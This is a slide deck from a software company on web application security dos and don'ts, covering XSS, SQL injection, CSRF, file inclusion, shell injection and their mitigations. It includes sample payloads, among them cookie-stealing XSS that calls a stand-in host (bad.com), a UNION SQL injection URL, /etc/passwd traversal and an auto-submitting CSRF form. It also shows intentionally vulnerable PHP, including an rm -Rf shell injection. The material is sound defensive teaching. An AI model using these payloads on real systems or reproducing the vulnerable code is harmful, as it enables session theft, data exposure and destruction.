SlideShare a Scribd company logo
WEB APPLICATION
SECURITY
DOS AND DON’TS
M. Waseem & A. Mateen
23rd May 2013
@folio_3 www.folio3.com Copyright 2015
Web Application Security
 It’s a vast topic
While you do not know attacks, how can
you know about defense?
 High level and common vulnerabilities
 How to avoid these?
@folio_3 www.folio3.com Copyright 2015
It is Important
75% of cyber attacks and internet security
violations are generated through Internet
applications
Source: Gartner Group
@folio_3 www.folio3.com Copyright 2015
Vulnerabilities are common!
 iViZ Security study (2012) shows
 99% of the Apps tested had at least 1 vulnerability
 82% of the web application had at least 1
High/Critical Vulnerability
 90% of hacking incidents never gets known to
public
 Average number of vulnerability per website: 35
 30% of the hacked organizations knew the
vulnerability (for which they got hacked)
beforehand
 #1 Vulnerability: Cross site scripting (61%)@folio_3 www.folio3.com Copyright 2015
Top Vulnerabilities
0% 10% 20% 30% 40% 50% 60% 70%
Cross Site Request Forgery
Information Leakage
Cross Site Scripting
25%
51%
65%
Percentage of websites containing the Vulnerabilities
@folio_3 www.folio3.com Copyright 2015
High Level Vulnerabilities
1. Cross-Site Scripting (XSS)
2. Information leakage
3. SQL Injection
4. Cross-Site Request Forgery (CSRF)
5. Unrestricted File Upload
6. File Inclusion
7. Phishing
8. Session Hijacking
9. Shell injection
@folio_3 www.folio3.com Copyright 2015
Cross-Site Scripting (XSS)
 An attacker can inject executable code (JS,
HTML, etc.) into a webpage.
 Example:
http://site.com/search.php?q=<script>alert(“XS
S”)</script>
<img src=“http://bad.com/xss.js”>
 Types:
 Non-Persistent
 Persistent
@folio_3 www.folio3.com Copyright 2015
Cross-Site Scripting (XSS)
 Non-Persistent
 Attacker is able to execute his own code into a
webpage but no changes can be done in that website.
 Example
http://www.site.com/viewtopic.php?id=4"><script>docum
ent.location="http://bad.com/logger.php?cookie="+doc
ument.cookie;</script>
Or
http://www.site.com/viewtopic.php?id=4”><script>docum
ent.write(“<img
src=‘http://bad.com/logger.php?cookie=“+
document.cookie+”’/>”);</script>
@folio_3 www.folio3.com Copyright 2015
Cross-Site Scripting (XSS)
 Persistent
 Attacker stores executable code in the website
database which is being executed every time
webpage is showing the data.
 Common targets
 Comments
 User submitted content
 Signup forms etc.
@folio_3 www.folio3.com Copyright 2015
Cross-Site Scripting (XSS)
 Example
@folio_3 www.folio3.com Copyright 2015
Cross-Site Scripting (XSS)
 Comment in raw format:
and I like the way this website developers
work..hahaha :D :D
<script src=“http://bad.com/xss.js”></script>
 Should have been printed like
 &lt;script
src=&quot;http://bad.com/xss.js&quot;&gt;&lt;/scri
pt&gt;
@folio_3 www.folio3.com Copyright 2015
Cross-Site Scripting (XSS)
 Solutions
 Input sanitization
 PHP function strip_tags(), htmlentities(),
htmlspecialchars()
 PHP filter_input()
 PHP libraries:
 HTML Safe, htmLawed, kses, Safe HTML Checker, etc
 Output sanitization
 PHP htmlentities(), htmlspecialchars()
@folio_3 www.folio3.com Copyright 2015
Information Leakage
 An application reveals sensitive data, such as
technical details of the web application,
environment, or user-specific data.
 Example
Warning: mysql_connect() [function.mysql-connect]:
Access denied for user 'root'@'localhost' (using
password: YES) in /usr/www/kint/view.php on line
8
Warning: include(pages/../../../../../../etc/passwd1)
[function.include]: failed to open stream: No such
file or directory in /usr/www/users/kint/view.php on
line 20
@folio_3 www.folio3.com Copyright 2015
Information Leakage
 Faulty directory listing configuration
 All files in directory visible
 Improper error handling
 Error message may contain paths, user, server
info
 Specifically in php file path is reveled
 Filetype handling
 HTTP Headers
 X-Powered-By, X-Generator etc
 Sensitive HTML comments, etc.
@folio_3 www.folio3.com Copyright 2015
Information Leakage
 Directory listing configuration
 Put a blank file named index.html in that directory.
 Disable indexing in .htaccess
 Options –indexes
 All sub-directories of that directory will also get their
directory listings turned off.
 Error handling
 Configure error message using error_reporting,
display_errors, log_errors and error_log in php.ini
 Configure error handling in .htaccess as well
@folio_3 www.folio3.com Copyright 2015
Information Leakage
 Remove headers which reveal information
 X-Powered-By, X-Generator etc
 Use header_remove() PHP function
 Comments in source
 Never put much information in html or js
 Comments should be in php so that they are not
visible to visitor
@folio_3 www.folio3.com Copyright 2015
Information Leakage
 Filestypes
 Never keep files which can be downloaded in public
directory, unless it is for public.
 Include files (.inc, .class, .db etc.)
 Compressed files(.zip, .rar, .tar.gz, etc.)
 Database files(.sql, .cvs, .xml, .xls, etc.)
 Unknown files(.bak, .inc, .copy, .bkp, etc.)
 Configure htaccess
 <Files ~ ".(inc|sql)$">
order allow,deny
deny from all
</Files>
@folio_3 www.folio3.com Copyright 2015
SQL Injection
 Attacker is able to inject custom sql into a
query.
 Example
 http://site.com/product.php?id=10+AND+1=2+union+s
elect+1,2,database(),version(),user(),6+--
@folio_3 www.folio3.com Copyright 2015
SQL Injection
Select id, meta_title, name, details, category,
metadescription WHERE id = 10 and deleted =
0
becomes
Select id, meta_title, name, details, category,
metadescription WHERE id = 10 and 1=2
UNION select 1,2, database(), version(),
user(), 6 --and deleted = 0
@folio_3 www.folio3.com Copyright 2015
@folio_3 www.folio3.com Copyright 2015
SQL Injection
 Escape the input
 mysql_real_escape_string()
 filter_var()
 Intval, floatval
 Filter input (use whitelists not blacklists)
 Use prepared statements, parameterized
queries etc. Most frameworks/cms have it.
 Limit database permissions (start with the
lowest permissions)
@folio_3 www.folio3.com Copyright 2015
Cross-Site Request Forgery
(CSRF)
 Allow other websites to send unauthorized
requests to it, using the active session of its
authorized users.
 Example
 User visits a site where attacker has already
injected his code (hacked.com) in another
tab/window
 A review is posted for bad.com
@folio_3 www.folio3.com Copyright 2015
Cross-Site Request Forgery
(CSRF)
<div style=“display:none”>
<iframe name=“hidden”></iframe>
<form name=“Form” action= “http://site.com/post.php” target=“hidden”
method=“POST”>
<input type=“text” name=“message” value=“I like www.bad.com” />
<input type=“text” name=“rating” value=“5” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>
@folio_3 www.folio3.com Copyright 2015
Cross-Site Request Forgery
(CSRF)
 Solution
 Use hash tokens into each generated form.
 Check token when form is submitted
 Check referrer header (partial protection)
@folio_3 www.folio3.com Copyright 2015
Unrestricted File Upload
 Allows attacker to upload malicious files to the
server.
 Most of the time scripts to take control server.
 Example
$usrFile = $_FILES[‘userfile’][‘name’];
$uploadFolder= "uploads/";
if(move_uploaded_file($usrFile,$uploadFolder))
{ echo “File has been successfully uploaded.“;
} else{ echo “Error. Please try again!"; }
@folio_3 www.folio3.com Copyright 2015
Unrestricted File Upload
 Solution
 White list the extensions which can be uploaded
 Check for double extensions
 Check mime type (partial solution)
 Rename file before saving
 Restrict access to uploaded files (htaccess)
 <Files ~ "^w+.(gif|jpe?g|png)$">
 order deny,allow
 allow from all
 </Files>
@folio_3 www.folio3.com Copyright 2015
File Inclusion
 Allows an attacker to include local or remote
file into the vulnerable webpage code.
 EXAMPLE:
 http://site.com/view.php?file=../../../../../etc/passwd
 Files can be server configuration files such as
system users information, filesystem structure,
code etc
@folio_3 www.folio3.com Copyright 2015
File Inclusion
 Vulnerable PHP codes
 <?php include($_GET['file']); ?>
 <?php include($_POST['file'].".htm"); ?>
 <?php
include("includes/".$_GET['file']);
?>
 <?php
include("includes/".$_GET['file'].".htm");
?>
etc.
@folio_3 www.folio3.com Copyright 2015
File Inclusion
 Potential target functions
 include()/include_once()
 require()/require_once()
 file_get_contents()
 fopen()
 file()
 copy()
 unlink()
 upload_tmp_dir()
 move_uploaded_file()
 Imagecreatefrom functions etc
@folio_3 www.folio3.com Copyright 2015
File Inclusion
 Use open_basedir settings in php.ini
 Filter input for functions mentioned in previous
slide.
 Use whitelisted filenames or allow only valid
file name characters (don’t allow ../ etc)
 Modify the php.ini configuration file:
 allow_url_fopen = Off
 allow_url_include = Off
 register_globals = Off (in older versions its “ON” by default)
@folio_3 www.folio3.com Copyright 2015
Phishing
 Social Engineering technique to steal
confidential information through the use of fake
login page.
 EXAMPLE:
 http://www.gooqle.com/accounts/ServiceLogin?se
rvice=mail
@folio_3 www.folio3.com Copyright 2015
Phishing
Exact replica is served to the visitor,
data is sent to hacker
@folio_3 www.folio3.com Copyright 2015
Phishing
 Use HTTPS instead of HTTP
 So that user may see the details of the domain
owner in the SSL certificate information.
 Use short URL addresses for login pages
 So that users could easily recognize login page
address.
 Use Yahoo! Sign-in Seal like system
 It is a unique identifier chosen by the user.
@folio_3 www.folio3.com Copyright 2015
Session Hijacking
 Allows unauthorized access of an authorized
user by having active session identifier (SID)
 EXAMPLE:
 http://wg180.site.com/dk;jsessionid=0754aff827cf
e9f7db7f48e7018ed1e6.wg180?st.cmd=userMain
&tkn=8809
@folio_3 www.folio3.com Copyright 2015
Session Hijacking
 Store SID in HTTP cookies
 Don’t accept SIDs from GET and POST requests, use
cookies:
 session.use_cookies = 1
 session.use_only_cookies = 1
 This will prevent session fixation by url
 Regenerate SID after login or on each request
 Put session_regenerate_id(true); after the
session_start()
 Accept only SIDs generated by own server
 Use $_SESSION['SERVER_GENERATED_SID'] to
identify whether SID has been created by your web@folio_3 www.folio3.com Copyright 2015
Session Hijacking
 Destroy old SIDs
 Keep session time out small
 ini_set("session.cookie_lifetime","600");
 Completely destroy the session on user logout
 Use SSL for user authentication and
afterwards
 It will prevent network sniffing
@folio_3 www.folio3.com Copyright 2015
Shell Injection
 Allows an attacker to execute shell commands in
the web server.
 Example
 http://site.com/delete.php?file=/
 <?php
//delete.php
$file = $_GET[‘file’];
echo 'erasing ' . $file . ‘<br />’;
system(“rm -Rf $file”) ;
echo ‘done‘;
?>
@folio_3 www.folio3.com Copyright 2015
Shell Injection
 Potential target functions
 shell_exec(), exec(), system(), passthru(), eval()
 Solution
 Disable shell functions, use disable_functions in
php.ini
 Allow only white listed commands to be used
 Use PHP built-in function to escape the user input
 Escapeshellarg() , escapeshellcmd()
@folio_3 www.folio3.com Copyright 2015
In a Nutshell
 Never trust inputs
 Get, Post, Cookies, File upload
 Every input can be faked
 Filter, Sanitize, Validate each input
 Use white lists
 Don’t allow html unless required
 Don’t expose internal information of applications
 Handle exceptions
 Test and Monitor application for security
 Keep cms, frameworks, plugins updated (at least
security fixes)
@folio_3 www.folio3.com Copyright 2015
Vulnerability Scanners
 Acunetix WVS
 Skipfish
 AppScan
 HP WebInspect
 Nikto (Wikto)
 Netsparker
 W3af
 Grendel-Scan
 Websecurify
 Burp Suite
 Uniscan
and more
@folio_3 www.folio3.com Copyright 2015
Resources
 OWASP https://www.owasp.org/
 WASC http://projects.webappsec.org
 Vulnerapedia
http://lab.gsi.dit.upm.es/semanticwiki/index.ph
p/Main_Page
 CWE http://cwe.mitre.org/index.html
 Securiteam http://www.securiteam.com/
 Tracker of vulnerable sites
http://www.vulntraq.com/
@folio_3 www.folio3.com Copyright 2015

More Related Content

What's hot

Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Jeremiah Grossman
 
Web application Security tools
Web application Security toolsWeb application Security tools
Web application Security tools
Nico Penaredondo
 
Web App Security Presentation by Ryan Holland - 05-31-2017
Web App Security Presentation by Ryan Holland - 05-31-2017Web App Security Presentation by Ryan Holland - 05-31-2017
Web App Security Presentation by Ryan Holland - 05-31-2017
TriNimbus
 
Hack and Slash: Secure Coding
Hack and Slash: Secure CodingHack and Slash: Secure Coding
Hack and Slash: Secure Coding
Prathan Phongthiproek
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
Hina Rawal
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
GreenD0g
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan GandhiReliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan Gandhibhumika2108
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
tmd800
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
bilcorry
 
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
ufpb
 
S5-Authorization
S5-AuthorizationS5-Authorization
S5-Authorization
zakieh alizadeh
 
Session2-Application Threat Modeling
Session2-Application Threat ModelingSession2-Application Threat Modeling
Session2-Application Threat Modeling
zakieh alizadeh
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for Developers
Mike North
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
Study of Directory Traversal Attack and Tools Used for Attack
Study of Directory Traversal Attack and Tools Used for AttackStudy of Directory Traversal Attack and Tools Used for Attack
Study of Directory Traversal Attack and Tools Used for Attack
ijtsrd
 
Session3 data-validation-sql injection
Session3 data-validation-sql injectionSession3 data-validation-sql injection
Session3 data-validation-sql injection
zakieh alizadeh
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
Jay Nagar
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
Quek Lilian
 

What's hot (20)

Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"Web Application Security - "In theory and practice"
Web Application Security - "In theory and practice"
 
Web application Security tools
Web application Security toolsWeb application Security tools
Web application Security tools
 
Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
 
Web App Security Presentation by Ryan Holland - 05-31-2017
Web App Security Presentation by Ryan Holland - 05-31-2017Web App Security Presentation by Ryan Holland - 05-31-2017
Web App Security Presentation by Ryan Holland - 05-31-2017
 
Hack and Slash: Secure Coding
Hack and Slash: Secure CodingHack and Slash: Secure Coding
Hack and Slash: Secure Coding
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan GandhiReliable and fast security audits - The modern and offensive way-Mohan Gandhi
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
 
S5-Authorization
S5-AuthorizationS5-Authorization
S5-Authorization
 
Session2-Application Threat Modeling
Session2-Application Threat ModelingSession2-Application Threat Modeling
Session2-Application Threat Modeling
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
 
Web Security: A Primer for Developers
Web Security: A Primer for DevelopersWeb Security: A Primer for Developers
Web Security: A Primer for Developers
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the Chase
 
Study of Directory Traversal Attack and Tools Used for Attack
Study of Directory Traversal Attack and Tools Used for AttackStudy of Directory Traversal Attack and Tools Used for Attack
Study of Directory Traversal Attack and Tools Used for Attack
 
Session3 data-validation-sql injection
Session3 data-validation-sql injectionSession3 data-validation-sql injection
Session3 data-validation-sql injection
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
 

Similar to Web Application Security - Folio3

XSS
XSSXSS
Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)ClubHack
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
Daniel Owens
 
Application Security
Application SecurityApplication Security
Application Securitynirola
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP Applications
Aditya Mooley
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
amiable_indian
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
Jeremiah Grossman
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
Mallikarjun Reddy
 
Secure coding | XSS Attacks on current Web Applications
Secure coding | XSS Attacks on current Web ApplicationsSecure coding | XSS Attacks on current Web Applications
Secure coding | XSS Attacks on current Web Applications
n|u - The Open Security Community
 
Secure Coding
Secure Coding Secure Coding
Secure Coding
Shubham Sharma
 
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009ClubHack
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology
 
Security Awareness
Security AwarenessSecurity Awareness
Security Awareness
Lucas Hendrich
 
Php My Sql Security 2007
Php My Sql Security 2007Php My Sql Security 2007
Php My Sql Security 2007Aung Khant
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with php
Mohmad Feroz
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
Nahidul Kibria
 
Secure Programming In Php
Secure Programming In PhpSecure Programming In Php
Secure Programming In Php
Akash Mahajan
 
Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012DefCamp
 
Why You Need A Web Application Firewall
Why You Need A Web Application FirewallWhy You Need A Web Application Firewall
Why You Need A Web Application Firewall
Port80 Software
 
Let's shield Liferay
Let's shield LiferayLet's shield Liferay
Let's shield Liferay
José A. Jiménez
 

Similar to Web Application Security - Folio3 (20)

XSS
XSSXSS
XSS
 
Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
Application Security
Application SecurityApplication Security
Application Security
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP Applications
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
 
Secure coding | XSS Attacks on current Web Applications
Secure coding | XSS Attacks on current Web ApplicationsSecure coding | XSS Attacks on current Web Applications
Secure coding | XSS Attacks on current Web Applications
 
Secure Coding
Secure Coding Secure Coding
Secure Coding
 
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Security Awareness
Security AwarenessSecurity Awareness
Security Awareness
 
Php My Sql Security 2007
Php My Sql Security 2007Php My Sql Security 2007
Php My Sql Security 2007
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with php
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Secure Programming In Php
Secure Programming In PhpSecure Programming In Php
Secure Programming In Php
 
Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012Social Enterprise Rises! …and so are the Risks - DefCamp 2012
Social Enterprise Rises! …and so are the Risks - DefCamp 2012
 
Why You Need A Web Application Firewall
Why You Need A Web Application FirewallWhy You Need A Web Application Firewall
Why You Need A Web Application Firewall
 
Let's shield Liferay
Let's shield LiferayLet's shield Liferay
Let's shield Liferay
 

More from Folio3 Software

Shopify & Shopify Plus Ecommerce Development Experts
Shopify & Shopify Plus Ecommerce Development Experts Shopify & Shopify Plus Ecommerce Development Experts
Shopify & Shopify Plus Ecommerce Development Experts
Folio3 Software
 
Magento and Magento 2 Ecommerce Development
Magento and Magento 2 Ecommerce Development Magento and Magento 2 Ecommerce Development
Magento and Magento 2 Ecommerce Development
Folio3 Software
 
All You Need to Know About Type Script
All You Need to Know About Type ScriptAll You Need to Know About Type Script
All You Need to Know About Type Script
Folio3 Software
 
Enter the Big Picture
Enter the Big PictureEnter the Big Picture
Enter the Big Picture
Folio3 Software
 
A Guideline to Test Your Own Code - Developer Testing
A Guideline to Test Your Own Code - Developer TestingA Guideline to Test Your Own Code - Developer Testing
A Guideline to Test Your Own Code - Developer Testing
Folio3 Software
 
OWIN (Open Web Interface for .NET)
OWIN (Open Web Interface for .NET)OWIN (Open Web Interface for .NET)
OWIN (Open Web Interface for .NET)
Folio3 Software
 
Introduction to Go-Lang
Introduction to Go-LangIntroduction to Go-Lang
Introduction to Go-Lang
Folio3 Software
 
An Introduction to CSS Preprocessors (SASS & LESS)
An Introduction to CSS Preprocessors (SASS & LESS)An Introduction to CSS Preprocessors (SASS & LESS)
An Introduction to CSS Preprocessors (SASS & LESS)
Folio3 Software
 
Introduction to SharePoint 2013
Introduction to SharePoint 2013Introduction to SharePoint 2013
Introduction to SharePoint 2013
Folio3 Software
 
An Overview of Blackberry 10
An Overview of Blackberry 10An Overview of Blackberry 10
An Overview of Blackberry 10
Folio3 Software
 
StackOverflow Architectural Overview
StackOverflow Architectural OverviewStackOverflow Architectural Overview
StackOverflow Architectural Overview
Folio3 Software
 
Enterprise Mobility - An Introduction
Enterprise Mobility - An IntroductionEnterprise Mobility - An Introduction
Enterprise Mobility - An Introduction
Folio3 Software
 
Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...
Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...
Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...
Folio3 Software
 
Introduction to Docker
Introduction to DockerIntroduction to Docker
Introduction to Docker
Folio3 Software
 
Introduction to Enterprise Service Bus
Introduction to Enterprise Service BusIntroduction to Enterprise Service Bus
Introduction to Enterprise Service Bus
Folio3 Software
 
NOSQL Database: Apache Cassandra
NOSQL Database: Apache CassandraNOSQL Database: Apache Cassandra
NOSQL Database: Apache Cassandra
Folio3 Software
 
Regular Expression in Action
Regular Expression in ActionRegular Expression in Action
Regular Expression in Action
Folio3 Software
 
HTTP Server Push Techniques
HTTP Server Push TechniquesHTTP Server Push Techniques
HTTP Server Push Techniques
Folio3 Software
 
Best Practices of Software Development
Best Practices of Software DevelopmentBest Practices of Software Development
Best Practices of Software Development
Folio3 Software
 
Offline Data Access in Enterprise Mobility
Offline Data Access in Enterprise MobilityOffline Data Access in Enterprise Mobility
Offline Data Access in Enterprise Mobility
Folio3 Software
 

More from Folio3 Software (20)

Shopify & Shopify Plus Ecommerce Development Experts
Shopify & Shopify Plus Ecommerce Development Experts Shopify & Shopify Plus Ecommerce Development Experts
Shopify & Shopify Plus Ecommerce Development Experts
 
Magento and Magento 2 Ecommerce Development
Magento and Magento 2 Ecommerce Development Magento and Magento 2 Ecommerce Development
Magento and Magento 2 Ecommerce Development
 
All You Need to Know About Type Script
All You Need to Know About Type ScriptAll You Need to Know About Type Script
All You Need to Know About Type Script
 
Enter the Big Picture
Enter the Big PictureEnter the Big Picture
Enter the Big Picture
 
A Guideline to Test Your Own Code - Developer Testing
A Guideline to Test Your Own Code - Developer TestingA Guideline to Test Your Own Code - Developer Testing
A Guideline to Test Your Own Code - Developer Testing
 
OWIN (Open Web Interface for .NET)
OWIN (Open Web Interface for .NET)OWIN (Open Web Interface for .NET)
OWIN (Open Web Interface for .NET)
 
Introduction to Go-Lang
Introduction to Go-LangIntroduction to Go-Lang
Introduction to Go-Lang
 
An Introduction to CSS Preprocessors (SASS & LESS)
An Introduction to CSS Preprocessors (SASS & LESS)An Introduction to CSS Preprocessors (SASS & LESS)
An Introduction to CSS Preprocessors (SASS & LESS)
 
Introduction to SharePoint 2013
Introduction to SharePoint 2013Introduction to SharePoint 2013
Introduction to SharePoint 2013
 
An Overview of Blackberry 10
An Overview of Blackberry 10An Overview of Blackberry 10
An Overview of Blackberry 10
 
StackOverflow Architectural Overview
StackOverflow Architectural OverviewStackOverflow Architectural Overview
StackOverflow Architectural Overview
 
Enterprise Mobility - An Introduction
Enterprise Mobility - An IntroductionEnterprise Mobility - An Introduction
Enterprise Mobility - An Introduction
 
Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...
Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...
Distributed and Fault Tolerant Realtime Computation with Apache Storm, Apache...
 
Introduction to Docker
Introduction to DockerIntroduction to Docker
Introduction to Docker
 
Introduction to Enterprise Service Bus
Introduction to Enterprise Service BusIntroduction to Enterprise Service Bus
Introduction to Enterprise Service Bus
 
NOSQL Database: Apache Cassandra
NOSQL Database: Apache CassandraNOSQL Database: Apache Cassandra
NOSQL Database: Apache Cassandra
 
Regular Expression in Action
Regular Expression in ActionRegular Expression in Action
Regular Expression in Action
 
HTTP Server Push Techniques
HTTP Server Push TechniquesHTTP Server Push Techniques
HTTP Server Push Techniques
 
Best Practices of Software Development
Best Practices of Software DevelopmentBest Practices of Software Development
Best Practices of Software Development
 
Offline Data Access in Enterprise Mobility
Offline Data Access in Enterprise MobilityOffline Data Access in Enterprise Mobility
Offline Data Access in Enterprise Mobility
 

Recently uploaded

Corporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMSCorporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMS
Tendenci - The Open Source AMS (Association Management Software)
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus
 
Lecture 1 Introduction to games development
Lecture 1 Introduction to games developmentLecture 1 Introduction to games development
Lecture 1 Introduction to games development
abdulrafaychaudhry
 
2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx
Georgi Kodinov
 
Beyond Event Sourcing - Embracing CRUD for Wix Platform - Java.IL
Beyond Event Sourcing - Embracing CRUD for Wix Platform - Java.ILBeyond Event Sourcing - Embracing CRUD for Wix Platform - Java.IL
Beyond Event Sourcing - Embracing CRUD for Wix Platform - Java.IL
Natan Silnitsky
 
Designing for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web ServicesDesigning for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web Services
KrzysztofKkol1
 
Enhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdfEnhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdf
Globus
 
Using IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New ZealandUsing IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New Zealand
IES VE
 
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, BetterWebinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
XfilesPro
 
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
